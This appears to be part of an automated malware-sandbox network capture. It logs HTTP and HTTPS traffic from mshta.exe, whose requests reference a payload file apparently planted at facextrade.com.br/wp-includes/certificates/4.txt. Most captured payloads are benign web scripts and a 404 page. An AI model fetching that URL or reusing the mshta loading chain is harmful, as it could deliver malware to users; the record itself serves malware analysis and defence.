Aug 16, 2022 11:53:20.936702013 CEST	418	IN	Data Raw: 7c 7c 2f 5b 5c 75 32 30 33 43 5c 75 32 30 34 39 5c 75 32 30 45 33 5c 75 32 31 32 32 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 41 39 5c 75 32 31 41 41 5c 75 32 33 30 30 5c 75 32 33 31 41 5c 75 32 33 31 42 5c 75 32 33 32 Data Ascii: \|\|/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A
Aug 16, 2022 11:53:20.936733961 CEST	419	IN	Data Raw: 4e 6f 64 65 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 2c 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 29 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 61 2e 63 Data Ascii: Node&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{
Aug 16, 2022 11:53:20.944428921 CEST	420	OUT	GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:22.072201014 CEST	424	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:53:21 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:53:22.072237015 CEST	425	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49178	142.250.181.238	443	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-16 09:53:19 UTC	0	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: translate.google.com Connection: Keep-Alive
2022-08-16 09:53:19 UTC	0	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:53:19 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Set-Cookie: CONSENT=PENDING+699; expires=Thu, 15-Aug-2024 09:53:19 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-16 09:53:19 UTC	1	IN	Data Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20 Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] \|\| function(e) { throw e; }; window['_DumpException'] = _DumpException;
2022-08-16 09:53:19 UTC	1	IN	Data Raw: 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 62 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 76 6f 69 64 20 30 21 3d 3d 62 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 62 29 7d 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 71 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 61 3b 7d 2c 30 29 7d 3b 5f 2e 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 50 26 26 61 2e 50 28 29 7d 3b 66 61 3d 66 75 6e 63 74 69 Data Ascii: Trace)Error.captureStackTrace(this,_.ba);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));void 0!==b&&(this.cause=b)};ca=function(a){_.q.setTimeout(function(){throw a;},0)};_.da=function(a){a&&"function"==typeof a.P&&a.P()};fa=functi
2022-08-16 09:53:19 UTC	3	IN	Data Raw: 28 29 7b 76 61 72 20 61 3d 5f 2e 71 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 3b 5f 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2d 31 21 3d 5f 2e 44 61 28 29 2e 69 6e 64 65 78 4f 66 28 61 29 7d 3b 0a 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 5f 2e 75 28 22 4d 53 49 45 22 29 7d 3b 5f 2e 46 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 69 50 68 6f 6e 65 22 29 26 26 21 5f 2e 75 28 22 69 50 6f 64 22 29 26 26 21 5f 2e 75 28 22 69 50 61 64 22 29 7d 3b 5f 2e 47 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 46 61 28 29 7c 7c 5f 2e 75 28 22 Data Ascii: (){var a=_.q.navigator;return a&&(a=a.userAgent)?a:""};_.u=function(a){return-1!=_.Da().indexOf(a)};_.Ea=function(){return _.u("Trident")\|\|_.u("MSIE")};_.Fa=function(){return _.u("iPhone")&&!_.u("iPod")&&!_.u("iPad")};_.Ga=function(){return _.Fa()\|\|_.u("
2022-08-16 09:53:19 UTC	4	IN	Data Raw: 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 53 61 3d 52 61 28 74 68 69 73 29 3b 0a 54 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b Data Ascii: ect"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};Sa=Ra(this);Ta=function(a,b){if(b)a:{
2022-08-16 09:53:19 UTC	5	IN	Data Raw: 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 72 65 74 75 72 6e 20 62 3f 62 2e 63 61 6c 6c 28 61 29 3a 7b 6e 65 78 74 3a 50 61 28 61 29 7d 7d 3b 5f 2e 57 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 63 7d 3b 58 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 3b 0a Data Ascii: mbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:Pa(a)}};_.Wa=function(a){for(var b,c=[];!(b=a.next()).done;)c.push(b.value);return c};Xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};
2022-08-16 09:53:19 UTC	6	IN	Data Raw: 7b 74 68 69 73 2e 6c 28 6d 29 7d 7d 7d 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 67 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 67 3d 30 3b 74 68 69 73 2e 6a 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 68 3d 5b 5d 3b 74 68 69 73 2e 43 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6c 28 29 3b 74 72 79 7b 67 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 28 6d 29 7b 72 65 74 75 72 6e 20 66 Data Ascii: {this.l(m)}}}this.g=null};b.prototype.l=function(g){this.j(function(){throw g;})};var e=function(g){this.g=0;this.j=void 0;this.h=[];this.C=!1;var k=this.l();try{g(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.l=function(){function g(m){return f
2022-08-16 09:53:19 UTC	8	IN	Data Raw: 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 67 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 67 29 29 3b 67 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 67 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 6a 3b 72 65 74 75 72 6e 20 6c 28 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 49 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 68 69 73 2e 68 29 7b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 74 68 69 73 2e 68 2e 6c 65 6e 67 74 68 3b 2b 2b 67 29 66 2e 68 28 74 68 69 73 2e 68 5b 67 5d 29 3b 74 68 69 73 2e 68 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 3d 66 75 6e 63 74 69 Data Ascii: reateEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return l(g)};e.prototype.I=function(){if(null!=this.h){for(var g=0;g<this.h.length;++g)f.h(this.h[g]);this.h=null}};var f=new b;e.prototype.na=functi
2022-08-16 09:53:19 UTC	9	IN	Data Raw: 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6a 60 22 2b 63 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6b 60 22 2b 63 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 54 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 65 62 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 67 3d 30 Data Ascii: ew TypeError("j`"+c);if(b instanceof RegExp)throw new TypeError("k`"+c);return a+""};Ta("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=eb(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var g=0
2022-08-16 09:53:19 UTC	10	IN	Data Raw: 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 66 62 28 6c 2c 66 29 26 26 66 62 28 6c 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 0a 66 62 28 6c 2c 66 29 26 26 66 62 28 6c 5b 66 5d 2c 74 68 69 73 2e 67 29 3f 64 65 6c 65 74 65 20 6c 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6b 7d 29 3b 0a 54 61 28 22 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 Data Ascii: [this.g]:void 0};k.prototype.has=function(l){return c(l)&&fb(l,f)&&fb(l[f],this.g)};k.prototype.delete=function(l){return c(l)&&fb(l,f)&&fb(l[f],this.g)?delete l[f][this.g]:!1};return k});Ta("Map",function(a){if(function(){if(!a\|\|"function"!=typeof a\|\|!
2022-08-16 09:53:19 UTC	11	IN	Data Raw: 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 55 61 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 28 6b 3d 64 28 74 68 69 73 2c 6b 29 2e 55 61 29 26 26 6b 2e 76 61 6c 75 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 5b 6b 2e 6b 65 79 2c 6b 2e 76 61 6c 75 65 5d 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 Data Ascii: .size=0};c.prototype.has=function(k){return!!d(this,k).Ua};c.prototype.get=function(k){return(k=d(this,k).Ua)&&k.value};c.prototype.entries=function(){return e(this,function(k){return[k.key,k.value]})};c.prototype.keys=function(){return e(this,function(k)
2022-08-16 09:53:19 UTC	13	IN	Data Raw: 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 65 62 28 74 68 69 73 2c 62 2c 22 65 6e 64 73 57 69 74 68 22 29 3b 76 6f 69 64 20 30 3d 3d 3d 63 26 26 28 63 3d 64 2e 6c 65 6e 67 74 68 29 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 65 3d 62 2e 6c 65 6e 67 74 68 3b 30 3c 65 26 26 30 3c 63 3b 29 69 66 28 64 5b 2d 2d 63 5d 21 3d 62 5b 2d 2d 65 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 30 3e 3d 65 7d 7d 29 3b 76 61 72 20 67 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 61 2b 3d 22 22 29 3b 76 61 72 20 63 3d 30 2c 64 3d 21 31 2c 65 3d 7b 6e 65 78 74 3a 66 75 6e 63 74 Data Ascii: a?a:function(b,c){var d=eb(this,b,"endsWith");void 0===c&&(c=d.length);c=Math.max(0,Math.min(c\|0,d.length));for(var e=b.length;0<e&&0<c;)if(d[--c]!=b[--e])return!1;return 0>=e}});var gb=function(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:funct
2022-08-16 09:53:19 UTC	14	IN	Data Raw: 69 7a 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 34 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 68 69 73 2e 67 3d 6e 65 77 20 4d 61 70 3b 69 66 Data Ascii: ize)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|4!=f.value[0].x\|\|f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;var b=function(c){this.g=new Map;if
